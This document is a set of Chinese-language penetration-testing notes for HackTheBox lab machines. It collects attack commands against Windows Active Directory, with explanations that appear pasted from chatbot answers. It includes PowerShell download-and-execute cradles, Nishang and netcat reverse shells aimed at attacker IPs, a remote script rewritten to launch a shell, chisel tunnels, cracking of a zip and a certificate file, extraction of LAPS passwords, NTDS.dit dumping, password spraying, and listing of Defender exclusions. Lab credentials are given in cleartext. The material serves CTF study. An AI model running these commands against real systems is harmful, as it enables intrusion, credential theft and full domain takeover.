xp_cmdshell powershell curl 10.10.16.5/nc64.exe -outfile c:\programdata\nc64.exe
sudo apt install nishang
将Invoke-PowerShellTcp.ps1复制到⼯作⽬录下,编辑脚本在尾部追加:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 443
然后为脚本⽂件架设建议web服务器。同时nc监听443端⼝。之后在靶机的 drupalgeddon2>> 提示符下执⾏:
powershell iex(new-object net.webclient).downloadstring('http://10.10.14.8:8080/Invoke-PowerShellTcp.ps1')
看起来您已经发布了一个 PowerShell 命令,该命令使用iex
(Invoke-Expression) 从远程位置下载并执行 PowerShell 脚本
new-object net.webclient
:创建 .NET 类的新实例WebClient
,用于从 Internet 下载内容。
.downloadstring('http://10.10.14.8:8080/InvokePowerShellTcp.ps1')
:调用 的DownloadString
方法WebClient
下载指定 URL 的内容,在本例中为位于 的 PowerShell 脚本http://10.10.14.8:8080/InvokePowerShellTcp.ps1
。
iex
: 的缩写Invoke-Expression
,用于调用从指定URL下载的表达式(脚本)
本地mysql访问受限,没有直接对外暴漏端⼝,我们做下端⼝反向转发。先安装chisel:
sudo apt install chisel
搬运到靶机中:
certutil.exe -urlcache -split -f http://10.10.14.8/chisel.exe
然后在kali中执⾏,建⽴chisel服务器端服务,监听9595端⼝,等待获得反向链接。
chisel server -p 9595 --reverse
在靶机中执⾏客户端,链回服务器端,⽤R:3306指定远端,即kali端的3306映射到本地,即靶机的3306,建⽴隧道。
chisel.exe client 10.10.14.8:9595 R:3306:localhost:3306
连接后服务端是有响应⽇志的。然后再kali中连接mysql数据库。
mysql -h 127.0.0.1 -u root -p
转发kali端口到靶机(就是靶机可以访问kali 的)
kali 开启 python3 -m http.server --bind 127.0.0.1 8000
正向连接
./chisel server -p 12345
靶机执行chisel.exe client 192.168.61.128:12345 11111:127.0.0.1:8000
就将kali的8000
端口转发到靶机的11111
端口上了,此时在靶机可以访问127.0.0.1:11111
反向连接
win10执行chisel.exe server -p 12345 --reverse
kali执行./chisel client 192.168.61.129:12345 R:11111:127.0.0.1:8000
反向
可以将端口转发到本地nmap扫描特定端口
kali ./chisel server --reverse -p 8000
靶机 .\chisel.exe client 10.10.14.67:8000 R:127.0.0.1:socks
确保socks 5 127.0.0.1 1080
添加/etc/proxychains.conf
(在文件最下面添加
socks 5 127.0.0.1 1080)
proxychains nmap -sT -P 88 172.16.22.1
这表明它是域控
正向
win10执行chisel.exe server -p 12345
kali执行./chisel client 192.168.61.129:12345 socks
看前面的
53 (域名系统 - DNS):⽤于域名解析。将域名转换为对应的IP地址。
88 (Kerberos):⽤于⽹络认证服务。主要⽤于在计算机AD⽹络中安全地验证⽤户和系统身份。
135 (远程过程调⽤ - RPC):⽤于远程过程调⽤,允许远程计算机执⾏在另⼀个计算机上运⾏的程序。
139 (NetBIOS):⽤于共享⽂件和打印机等资源。通常与SMB(Server Message Block)协议⼀起使
⽤。
389 (轻型⽬录访问协议 - LDAP):⽤于访问和修改分布式⽬录服务,如Active Directory。
445 (Microsoft-DS - 直接主机扩展):⽤于Microsoft Windows操作系统上的共享⽂件和打印机。与
SMB协议相关。
464 (Kerberos密码):⽤于与Kerberos安全协议相关的更改密码操作。593 (微软 DCOM):⽤于分布式组件对象模型(DCOM)远程通信。
636 (安全套接字层 - SSL/TLS LDAP):⽤于加密的LDAP通信。
3268 (全局编录服务 LDAP):⽤于访问全局编录服务,允许在域之间搜索。
3269 (全局编录服务 LDAP SSL):加密的全局编录服务LDAP通信。
5986 (远程管理服务 - WinRM):⽤于Windows远程管理服务,基于Web服务的管理接⼝。
9389 (⽹⻚代理):⽤于代理⽹络流量,提供匿名访问和内容过滤。
49667, 49673, 49674, 49688, 49695:这些端⼝是动态/私有端⼝,通常在系统中的特定应⽤程序或服务需要通信时动态分配。
端⼝Kerberos + LDAP + DNS + SMB的组合表明这很可能是⼀个域控制器。涉及到域控制器的渗透注意绑定域名,以对不同⼦域名的主机头做正确设置和确保其可访问性。dc01.timelapse.htb和timelapse.htb
谷歌 windows LAPS
Windows本地管理员密码解决⽅案(Windows LAPS,Windows Local Administrator PasswordSolution)是Windows的⼀个功能,它可以⾃动管理和备份Azure Active Directory加⼊或WindowsServer Active Directory加⼊设备上本地管理员账户的密码。您还可以使⽤Windows LAPS⾃动管理和备份Windows Server Active Directory域控制器上的⽬录服务还原模式(DSRM)账户密码。授权管理员可以检索DSRM密码并使⽤它。
来源链接:Windows LAPS 概述 | Microsoft Learn
LAPS还会定期更改管理员密码,使得如果这些密码被攻击者获取,它们在⼀段时间后将会失效
\看⽤户组信息:>net groups /domain
>net groups "LAPS READ" /domain
net groups "LAPS ADM" /domain
属于laps read组的一个可以利用 get-adccomputer找ms-mcs-admpwd字段
还有就是利用工具
python laps.py -u lothbrok -p RedteamN0tes! -l 10.129.228.115 -d
LicorDeBellota.htb
在Windows中,.pfx
(Personal Information Exchange)是一种用于存储加密的私钥、公钥和证书链的文件格式。通常,这种文件包含了一个用于安全通信的数字证书,包括私钥和相关的公钥。
具体而言,.pfx
文件通常包括以下信息:
私钥(Private Key): 用于加密和解密数据的私钥。私钥是与数字证书相关联的敏感信息,因为拥有私钥的人可以对使用该证书签名的数据进行解密和验证。
公钥(Public Key): 与私钥对应的公钥。公钥是在加密通信中用于加密数据的密钥,而私钥用于解密。
证书链(Certificate Chain): 用于验证数字证书的证书链。证书链包括颁发证书的所有中间证书和根证书。
这种格式的文件通常用于在安全通信中使用 TLS/SSL 协议,例如在网站上启用 HTTPS。当你在网站上启用 HTTPS 时,服务器通常需要一个包含私钥和公钥的.pfx
文件,以便与客户端建立安全的加密连接。
在一些情况下,.pfx
文件也用于导入和导出数字证书和私钥,以便在不同的系统之间进行迁移或备份。使用工具如 OpenSSL 或 Microsoft 的证书管理工具可以进行 .pfx
文件的创建和管理。
请注意,.pfx
文件通常需要密码保护,以确保私钥等敏感信息的安全性。在使用时,用户可能需要提供密码来解锁文件中的私钥。
zip2john winrm_backup.zip > winrm_backup.zip.hash
john winrm_backup.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
这三篇⽂章都会给你讲解pfx⽂件及其敏感⽂件提取⽅式:
\1. Understanding PFX File with Examples - howtouselinux 很简洁准确
\2. Extracting the certificate and keys from a .pfx file - IBM Documentation:
\3. PFX证书导出公钥和私钥 pfx 证书导出公钥和私钥「建议收藏」-腾讯云开发者社区-腾讯云
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key-enc
PEM pass phrase随便设置,我设置为1234
⽤刚设置的密码解密密钥
openssl rsa -in legacyy_dev_auth.key-enc -out legacyy_dev_auth.key
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crt
在加密和证书相关的上下⽂中, .pem 和 .key 是两种不同的⽂件扩展名,它们通常⽤于存储不同类型的数据。
\1. .pem(Privacy Enhanced Mail)扩展名:
PEM是⼀种⽂件格式,通常⽤于存储加密的⽂本数据,例如加密的私钥、证书等。PEM格式使⽤Base64编码,并使⽤ -----BEGIN...----- 和 -----END...----- 之间的标记将数据包装起来,标记中还包含了数据类型的信息。PEM格式可以包含不同类型的数据,例如:
⽤于HTTPS服务器的SSL/TLS证书( .crt 或 .pem 扩展名)
⽤于HTTPS服务器的私钥( .key 或 .pem 扩展名)
CA(Certificate Authority)颁发的根证书( .crt 或 .pem 扩展名)
证书链( .crt 或 .pem 扩展名)
由于PEM格式是⽂本格式,所以它在跨平台和跨系统之间的传输和共享上⾮常⽅便。
\2. .key扩展名:
.key 扩展名通常⽤于表示私钥⽂件。私钥是加密和解密数据的关键部分,它⽤于⽣成数字签名、建⽴安全连接等。 .key ⽂件通常不进⾏Base64编码,⽽是以⼆进制格式存储,因为私钥是敏感信息,不应该在⽂本格式中存储,以免被意外泄露。
所以, .pem ⽂件是⼀种⽂本格式,⽤于存储各种加密相关数据,⽽ .key ⽂件是私钥⽂件的⼀种表示形式,通常以⼆进制格式存储私钥数据。在某些情况下, .pem ⽂件可能包含私钥数据,但是通常 .key ⽂件更专⻔⽤于表示私钥。
X.509是⼀种标准的公钥基础设施(PKI)证书格式,⽤于证明实体(例如个⼈、组织或设备)与公钥之间的关联。X.509证书通常⽤于数字证书领域,⽤于加密、认证和安全通信。这些证书可以使⽤不同的编码格式,并且可以保存为不同的⽂件扩展名。下⾯解释了X.509的不同编码格式和常⽤⽂件扩展名:
DER编码(Distinguished Encoding Rules):
DER是⼀种⼆进制编码格式,它将X.509证书编码为⼆进制数据。DER编码通常⽤于基于⼆进制的传输,如TLS/SSL通信或⼆进制数据存储。DER编码的证书没有⼈类可读性,但在计算机之间传输效率⾼。
常⽤⽂件扩展名:
.cer:这是DER编码的常⻅⽂件扩展名,表示单个X.509证书⽂件。
.der:同样表示DER编码的X.509证书⽂件。
PEM编码(Privacy-Enhanced Mail):
PEM是⼀种基于⽂本的编码格式,它使⽤Base64编码将X.509证书编码为ASCII字符。PEM编码的证书在⽂本编辑器中可读,也可以轻松地通过电⼦邮件或⽂本传输。
常⽤⽂件扩展名:
.pem:这是PEM编码的常⻅⽂件扩展名,表示单个X.509证书⽂件。
.crt:通常情况下,.crt⽂件是PEM编码的X.509证书⽂件。注意有时候这些⽂件可能实际上是DER编码,但使⽤.crt扩展名是常⻅的习惯。
PFX/P12编码:
PFX(Personal Information Exchange)或P12是⼀种格式,可以将X.509证书和相关的私钥打包在⼀起。通常⽤于在单个⽂件中存储证书及其对应的私钥,以⽅便导⼊和导出。
常⽤⽂件扩展名:
.pfx:表示PFX编码的⽂件。
.p12:同样表示PFX编码的⽂件。PKCS12代表“公钥密码学标准#12”,它是密码学领域中定义的⼀种⽂件格式。PKCS12⽂件通常以.p12或.pfx为扩展名。这种⽂件格式⽤于将X.509数字证书(包括公钥和关联的数字证书链)和私钥打包在⼀起,以便⽅便地导⼊和导出证书及其对应的私钥。
PKCS12⽂件通常⽤于存储与个⼈或实体相关联的数字证书和私钥,⽐如SSL证书、代码签名证书等。这种⽂件格式⾮常便于传输,并且可以通过密码保护来确保安全性。PKCS12⽂件还可以包含额外的属性,如密码保护的私钥、证书链和其他辅助信息。它可以由多种密码学算法保护,⽐如密码⼝令或其他形式的密钥材料。在应⽤程序和系统之间导⼊和导出PKCS12格式的⽂件⾮常常⻅。例如,在Web服务器上配置SSL证书时,通常会使⽤PKCS12⽂件格式将证书和私钥⼀起导⼊到服务器上。
总结:PKCS12是⼀种⽂件格式,⽤于将X.509数字证书和私钥打包在⼀起,并通过密码保护确保安全性。它常⽤于导⼊和导出证书及私钥,特别是在SSL配置等场景中。
总结:
DER编码(.cer、.der):⼆进制格式,适⽤于计算机间传输。
PEM编码(.pem、.crt):⽂本格式,适⽤于⼈类可读和电⼦邮件传输。
PFX/P12编码(.pfx、.p12):⽤于存储证书和私钥的组合。
请注意,虽然⽂件扩展名在某种程度上对编码格式进⾏了推断,但有时可能不是完全准确的,因为⽂件可以使⽤任何扩展名
evil-winrm -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt
获得系统初始⽴⾜点,注意使⽤证书登录通常需要启⽤SSL(Secure Sockets Layer)加密,即给定-S选项。证书连接⽅式和5986端⼝(⽽不是5985)都有-S的需求。
明文密码登入
evil-winrm -i timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
有upload 和download
查看 Defender 的排除路径找到defend白名单
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s 您提供的命令是 Windows 命令提示符命令,它使用该reg query
命令查询 Windows 注册表以获取信息。在本例中,它在注册表中查询指定的子项路径: 以下是该命令的详细说明:
reg query
:这是用于查询Windows注册表的命令。
"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions"
:这是注册表项路径。它指向 HKEY_LOCAL_MACHINE (HKLM) 注册表配置单元中“HKLM\SOFTWARE\Microsoft\Windows Defender”下的“Exclusions”子项。Windows Defender 在此保存有关排除设置的信息。
/s
:此选项指示reg query
在搜索中包含所有子项。
query user
这也可以通过列出活动登录会话找到 或者
qwinsta /server:127.0.0.1也可以看到该:qwinsta
命令在Windows操作系统中用于查询远程服务器上的远程桌面会话(终端会话)信息。在你的命令下:
Meterpreter有一个screenshare
功能,可以定期截取活动桌面的屏幕截图,并允许攻击者像直播一样观看。
运行它时,它会在 Firefox 中弹出一个 HTML 页面,显示桌面:
$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$pass
: 这是一个变量,用于存储最终的 SecureString。
ConvertTo-SecureString
: 这是一个 PowerShell cmdlet,用于将普通文本转换为安全字符串。
"W3_4R3_th3_f0rce."
: 这是你要转换的普通文本,通常是密码。在这个例子中,密码是"W3_4R3_th3_f0rce."。
-AsPlainText
: 这是 ConvertTo-SecureString
的参数,指示输入字符串是普通文本而不是已加密的文本。通常,你在输入密码时会使用这个参数。
-Force
: 这是 ConvertTo-SecureString
的参数,用于确认转换操作,即强制执行转换。
这行 PowerShell 脚本是用来创建一个 PSCredential 对象的,该对象包含了用户名和密码的组合,通常用于进行身份验证。让我们一步一步解释这行脚本:
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
$cred
: 这是一个变量,用于存储最终的 PSCredential 对象。
New-Object System.Management.Automation.PSCredential
: 这是一个 PowerShell cmdlet,用于创建 PSCredential 对象。
"ACUTE\imonks"
: 这是用户名,通常以域名(在这里是"ACUTE")和用户名(在这里是"imonks")的形式提供。
$pass
: 这是之前创建的 SecureString 对象,包含了用户的密码。
所以,这行脚本的目的是创建一个 PSCredential 对象,其中包含了用户名 "ACUTE\imonks" 和对应的密码。这样的对象通常在需要进行身份验证的情况下使用,比如在进行远程 PowerShell 会话时,你可以使用这个对象来提供凭据信息
这行 PowerShell 脚本使用 Enter-PSSession
cmdlet 建立一个与远程计算机的 PowerShell 会话,并通过 -Credential
参数提供凭据信息进行身份验证。让我们一步一步解释这行脚本:
Enter-PSSession -ComputerName ATSSERVER -Credential $cred
Enter-PSSession
: 这是一个 PowerShell cmdlet,用于进入一个远程 PowerShell 会话。
-ComputerName ATSSERVER
: 这是 -ComputerName
参数,指定要连接的远程计算机的名称或 IP 地址。在这里,远程计算机的名称是 "ATSSERVER"。
-Credential $cred
: 这是 -Credential
参数,用于提供凭据信息。在这里,通过之前创建的 $cred
变量提供了用户名和密码的组合,这个变量包含了 PSCredential
对象。
通过这行脚本,你会被提示输入与 "ACUTE\imonks" 用户相关联的密码。然后,如果身份验证成功,你将进入到 "ATSSERVER" 远程计算机的 PowerShell 会话中,可以在其中执行命令和脚本,就像你直接在 "ATSSERVER" 上执行一样。当你完成操作后,可以使用 Exit-PSSession
退出远程会话。这对于远程管理和执行命令非常有用。
这条 PowerShell 命令 Enter-PSSession
的 -ConfigurationName
参数指定了要连接到的远程计算机上的 PowerShell 终结点的配置名称。让我们一步一步解释这个命令:
Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage
Enter-PSSession
: 这是 PowerShell 中用于进入远程 PowerShell 会话的 cmdlet。
-ComputerName ATSSERVER
: 这是 -ComputerName
参数,指定要连接到的远程计算机的名称或 IP 地址。在这里,远程计算机的名称是 "ATSSERVER"。
-Credential $cred
: 这是 -Credential
参数,用于提供凭据信息。通过之前创建的 $cred
变量提供了用户名和密码的组合,这个变量包含了 PSCredential
对象。
-ConfigurationName dc_manage
: 这是 -ConfigurationName
参数,指定了要连接到的远程计算机上的 PowerShell 终结点的配置名称。在这里,"dc_manage" 是一个 PowerShell 终结点的名称。
通过使用 -ConfigurationName
参数,你可以连接到远程计算机上的指定 PowerShell 终结点,这样你可以在该终结点上执行特定配置的命令。通常,这种配置用于限制在远程计算机上执行的操作,提高安全性。在这个例子中,"dc_manage" 可能是一个特定的 PowerShell 终结点,为域控制器(Domain Controller)的管理提供了一组特殊的权限和功能。
Invoke-Command -ScriptBlock { Get-Command } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
我还将查看Get-Alias
设置的内容:
Invoke-Command -ScriptBlock { Get-Alias } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
具体而言,Get-Alias
命令会返回当前 PowerShell 会话中定义的所有别名的列表。别名与其对应的命令、函数或脚本块一一对应。通过查看别名,你可以了解哪些缩写或简短名称可以用于执行特定的命令或功能。就是powershell中命令的别名,如ls别名什么
始终值得查看 C:\program files
(和C:\program files (x86)
) 中安装的程序:
Invoke-Command -ScriptBlock { ls '\program files' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { ((cat ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.67 443') | sc -Path ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock {((Get-Content -Path ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.6 443') | Set-Content -Path ..\desktop\wm.ps1} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
此 PowerShell 命令执行以下操作:
Invoke-Command
:ATSSERVER
使用 PowerShell 远程处理在远程计算机 ( ) 上启动脚本块的执行。
-ScriptBlock {...}
:指定将在远程计算机上执行的脚本块。在脚本块内:
((Get-Content -Path ..\desktop\wm.ps1 -Raw)
:wm.ps1
从桌面读取脚本文件的内容,并使用-Raw
参数将内容读取为单个字符串(而不是行数组)。
-replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.6 443'
:使用-replace
运算符将 内容中出现的所有字符串“Get-Volume”替换wm.ps1
为命令C:\utils\nc64.exe -e cmd 10.10.14.6 443
。
| Set-Content -Path ..\desktop\wm.ps1
:将修改的内容写回到wm.ps1
桌面上的文件中。
-ComputerName ATSSERVER
:ATSSERVER
指定将执行脚本块的远程计算机 ( ) 的名称。
-ConfigurationName dc_manage
:dc_manage
指定要在远程计算机上使用的PowerShell 远程处理端点配置名称 ( )。
-Credential $cred
:提供远程会话所需的凭据。该变量$cred
可能包含一个PSCredential
具有必要的用户名和密码的对象。
⾸先增加⽤户到Core Staff组
Windows 本身没有 Add-DomainObjectAcl 、 Add-DomainGroupMember 和 Get-DomainObject 等类似功能,需要我们⾃⼰写或引⼊第三库,我们⽤PowerView这段脚本,⽤wget下载到kali中。官⽅帮助⽂档在这⾥ About - PowerSploit
Evil-WinRM PS C:\Users\nikk37\Documents> cd c:\programdata
Evil-WinRM PS C:\programdata> upload PowerView.ps1 这边是在evil-winrm里面可以用upload
Evil-WinRM PS C:\programdata> . .\PowerView.ps1
⼀如脚本的命令中第⼀个点( . )表示在当前的 PowerShell 环境中运⾏脚本。后⾯的空格后跟着⼀个点和⼀个反斜杠( .\ ),表示当前⽬录下的⽂件,这是powershell的语法。
Evil-WinRM PS C:\programdata> $pass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
Evil-WinRM PS C:\programdata> $cred = New-Object
System.Management.Automation.PSCredential('streamio.htb\JDgodd', $pass)
然后,将JDGodd增加到CORE Staff组中。net user jdgodd 看状态
Evil-WinRM PS C:\programdata> Add-DomainObjectAcl -Credential $cred -
TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"
Add-DomainGroupMember
:这可能是一个自定义 cmdlet 或函数,旨在将成员添加到域组。
-Credential $cred
:指定用于操作的凭据。$cred
应该是一个包含对象的变量,该PSCredential
对象具有将成员添加到组所需的权限。
-Identity "Core Staff"
:指定要添加成员的目标域组。在本例中,它是“核心员工”。
-Members "StreamIO\JDgodd"
:指定要添加到组中的成员。在本例中,它是“StreamIO\JDgodd”,表示“StreamIO”域中的用户 JDgodd。
然后尝试读取管理员密码。默认属性中没有,在扩展属性中识别出管理员密码。这在Timelapse的⿊思⽂档中也有类似的场景。
Get-AdComputer dc -Properties * -Credential $cred
Get-ADComputer
:此 cmdlet 用于从 Active Directory 检索计算机对象。
dc
:这是您为参数提供的值-Identity
。在这种情况下,您似乎正在尝试检索名称为“dc”或部分名称“dc”的计算机的信息。
-Properties \*
:此参数检索指定计算机对象的所有属性。它正在获取计算机的所有可用属性。
-Credential $cred
:此参数允许您指定用于操作的凭据(用户名和密码)。$cred
应该是一个包含PSCredential
对象的变量
找ms-Mcs-AdmPwd字段
在通过搜索等⽅式如果知道字段名称ms-Mcs-AdmPwd,可以进⾏过滤和查询。
Get-AdComputer -Filter * -Properties ms-Mcs-AdmPwd -Credential $cred
相应地也可以在获得了CORE Staff组身份后通过LDAP读取。
kali里面
ldapsearch -H ldap://10.129.64.149 -b 'DC=streamIO,DC=htb' -x -D
JDgodd@streamio.htb -w 'JDg0dd1s@d0p3cr3@t0r' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
\1. ldapsearch: 这是命令⾏⼯具,⽤于查询 LDAP 服务器。
\2. -H ldap://10.129.64.149: -H 参数后跟的是 LDAP 服务器的 URL,这⾥表示我们正在连接到的服务器地址是 10.129.64.149 ,并且使⽤的是⾮安全的 ldap(⽽不是 ldaps)。
\3. -b 'DC=streamIO,DC=htb': -b 参数是指定搜索的基础 distinguished name (DN)。这⾥的 DN 指的是基于 streamIO.htb 的顶级域。
\4. -x: 使⽤简单身份验证⽽不是 SASL。
\5. -D JDgodd@streamio.htb : -D 参数指定的是绑定的 DN,即⽤户的完整名称。在这个例⼦中,⽤户是 JDgodd@streamio.htb 。
\6. -w 'JDg0dd1s@d0p3cr3@t0r': -w 参数后⾯是⽤户的密码,⽤于身份验证。
\7. "(ms-MCS-AdmPwd=*)": 这是 LDAP 查询过滤器。它查询所有具有 ms-MCS-AdmPwd 属性的对象。 * 表示匹配所有值,所以这个查询实际上是在找所有设置了该属性的对象。
\8. ms-MCS-AdmPwd: 这是要从查询结果中检索的属性。在这个上下⽂中, ms-MCS-AdmPwd 通常是与 LAPS(本地管理员密码解决⽅案)相关的,这是⼀个在 Active Directory 环境中⾃动管理本地管理员密码的解决⽅案。
ldapsearch -H support.htb -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb"| less
less它允许用户逐页查看文本内容
ldapsearch -H sequel.htb -D 'ryan.cooper@sequel.htb' -w 'NuclearMosquito3' -b "DC=sequel,DC=htb"| less
也可以通过crackmapexec获得
crackmapexec smb streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' --laps --ntds
--laps :指定laps认证
--ntds :使⽤指定的⽅法(默认为:drsuapi)从⽬标 DCs 中转储 NTDS.dit。
VHD文件包含Microsoft Windows Virtual PC(Windows)使用的虚拟硬盘映像。 虚拟化 程序。 它存储虚拟机(VM)硬盘的内容,其中可能包括磁盘分区,文件系统,文件和文件夹。 VHD文件可用于在一台计算机上安装多个操作系统,测试软件程序或运行较旧的应用程序。
安装vhd挂载所需程序
sudo apt-get install libguestfs-tools
检查挂载磁盘
sudo guestfish --ro -a '/mnt/123/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd'
guestfish
:这是用于与虚拟机磁盘映像交互的命令行工具。它是 Libguestfs 项目的一部分,该项目提供用于访问和修改虚拟机 (VM) 磁盘映像的工具。
--ro
:指定磁盘映像应以只读模式打开。这是一项安全措施,旨在防止无意中修改磁盘映像。
-a '/mnt/134/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd'
:指定要访问的虚拟机磁盘映像的路径。在这种情况下,路径指向位于指定目录的VHD(虚拟硬盘)文件。
run
list-filesystems
su root
2.挂载vhd文件
mkdir 1234
guestmount -a '/mnt/123/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd' -m /dev/sda1 --ro /mnt/1234
挂载vhd文件
# -a 指定vhd文件
# -m 指定挂载磁盘
# -ro 指定为只读
guestmount --add /mnt/123/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/1234
--inspector
:此选项启用检查器模式。检查器是一个可以自动检测映像中有关操作系统和磁盘结构的信息的工具。它有助于理解磁盘映像的内容和结构。
--ro
:指定磁盘映像应以只读模式安装。这是一项安全措施,旨在防止无意中修改磁盘映像。
/mnt2/
:指定主机系统上将安装虚拟机磁盘映像内容的安装点。您将能够在此安装点访问磁盘映像的内容。
https://github.com/mpgn/CrackMapExec
CrackMapExec(简称CME)是⼀种后渗透测试⼯具,帮助⾃动化评估⼤型Active Directory⽹络的安全性。CME的设计理念是“靠⼭吃⼭”,通过巧⽤内置的Active Directory功能/协议来实现其功能,并能规避⼤多数终端保护、⼊侵检测和⼊侵防御解决⽅案。
CME主要依赖Impacket库(由@asolino开发)来处理⽹络协议并执⾏各种后渗透技术。
尽管主要⽤于攻击性⽬的(如红队、内部渗透测试),CME也可以被蓝队使⽤,⽤于评估账户权限、发现可能的配置错误和模拟攻击场景。
从枚举已登录⽤户和遍历SMB共享到执⾏类似psexec的攻击,使⽤PowerShell⾃动注⼊
Mimikatz/Shellcode/DLL等到内存中,以及转储NTDS.dit等操作,它提供了多种功能。
\1. 完全由纯Python脚本编写,⽆需外部⼯具;
\2. 全⾯⽀持并发线程;
\3. 仅使⽤本地WinAPI调⽤来发现会话、⽤户、转储SAM哈希等;
\4. 具备操作安全性(不会上传⼆进制⽂件来转储明⽂凭据、注⼊Shellcode等)。
此外,它还使⽤数据库来存储已使⽤/转储的凭据。还能⾃动将管理员凭据与主机进⾏关联,使您能够
轻松跟踪凭据集,并在⼤型环境中增加额外的情境意识。
⽐如⽀持cmedb:
cmedb -h 具体看ppt stringio
与Get-AdComputer找ms-Mcs-AdmPwd字段获得密码的替代:
crackmapexec smb streamio.htb -u user -p pass --no-bruteforce --continue-on-success
--no-bruteforce
:该标志表示不进行暴力攻击。相反,它意味着您正在提供有效的凭据并且不想尝试暴力攻击。
--continue-on-success
:该标志指示 CrackMapExec 继续执行,即使它成功获得了对系统的访问权限。如果您想要收集信息或在多个系统上执行其他操作,这可能很有用。
获得
crackmapexec smb streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' --laps --ntds
--laps :指定laps认证
--ntds :使⽤指定的⽅法(默认为:drsuapi)从⽬标 DCs 中转储 NTDS.dit。
smb扫描的替代
crackmapexec smb 10.10.11.108 --shares
爆破
crackmapexec smb 10.10.10.52 -d htb.local -u htb.local/james -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt
验证能否winrm(用hash值)
crackmapexec winrm 10.129.229.17 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
改smb就可以验证smb了
尝试哪个密码可以用在猜测的user.txt里面,就是哪个用户是正确的
crackmapexec smb 10.10.11.129 -u hope.txt -p IsolationIsKey? --continue-on-success
crackmapexec smb -u r.thompson -p rY4n5eva --shares 10.10.10.182 显示smb共享
Bloodhound - Security | Yume Shoka = 啊啊啊波罗 一些使用的
iex(new-object net.webclient).downloadstring("http://10.10.16.3/SharpHound.ps1")
invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
invoke-bloodhound
:这是执行BloodHound的命令。
或者就 -c all
我用不了啊
sudo apt search bloodhound
将bloodhound.py和bloodhound都安装上。其实采集器还有exe和ps1格式的,酌情使⽤,能使⽤哪个就⽤哪个。⼤多没有条件限制,但你说你不是通过⽤户名获得的系统⽴⾜点,哪bloodhound.py这种远程采集的,你肯定不可以⽤,那就要⽤exe的或者ps1的。想看详细教程的可以看官⽅教程(
BloodHound: Six Degrees of Domain Admin — BloodHound 4.3.1 documentation )。Bloodhound的github库为:(
GitHub - BloodHoundAD/BloodHound: Six Degrees of Domain Admin )。Bloodhound的替代品:
BloodHound & Other AD Enum Tools | HackTricks | HackTricks
bloodhound-python --help
bloodhound-python -c All -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' -ns
10.129.117.219 -d streamio.htb -dc streamio.htb --zip
zip格式⽂件不需要解压,因为Bloodhound就⽤zip格式的。但你可以查看其中的⽂件,确认有效性等unzip -l 20230807063743_bloodhound.zip
-c All
:指定执行所有收集方法
-nc 指定Neo4j服务器的目标IP地址。
处理⼀下neo4j数据库,最好重启neo4j⼀下,⽤neo4j:neo4j默认密码登录后,设定⾃⼰的密码,命令行重新输入bloodhound然后我⽤:neo4j:1234登录进Bloodhound。导⼊刚才采集到的⽂件
sudo neo4j restart
提示成功导⼊。就会在左上角的database info 里面出现relationships等数据
直接左上角搜索已经获得的资产JDgodd
选择这个多一个骷髅头,选择节点左上角就会出现节点详细情况。analysis有分析
装载数据之后,讲我们获得三个⽤户标记为已拥有。选择First Degree Object Control后,获得如下视图。
在域控制器图标上点选右键,选择“从已拥有节点⾄此的最短路径”
获得如下视图,JDGODD在核⼼团队成员组有写所有者的权限,继⽽能获得读取dc服务器的LAPS密码的权限。
选定⽬标后和出发点之后,图示显示了更加清晰的攻击路径。
HELP对话框提示了利⽤⽅法,可以按提示进⾏攻击。
手工的看ppt streamio⼿动枚举AD获得提权路径
Microsoft Learn:培养开拓职业生涯新机遇的技能 学习CN=JDgodd,CN=Users,DC=streamIO,DC=htb 语法
get-adgroup "core staff"
Get-ADGroup
:此 cmdlet 是 Active Directory 模块的一部分,用于检索有关 AD 组的信息。
"core staff"
:这是您要检索其信息的 AD 组的名称。它用双引号括起来。
没有成员,如果我们看⼀下他的访问控制列表,执⾏:
Evil-WinRM PS C:\Users\nikk37\Documents> (Get-ACL "AD:CN=CORE
STAFF,CN=Users,DC=streamIO,DC=htb").access
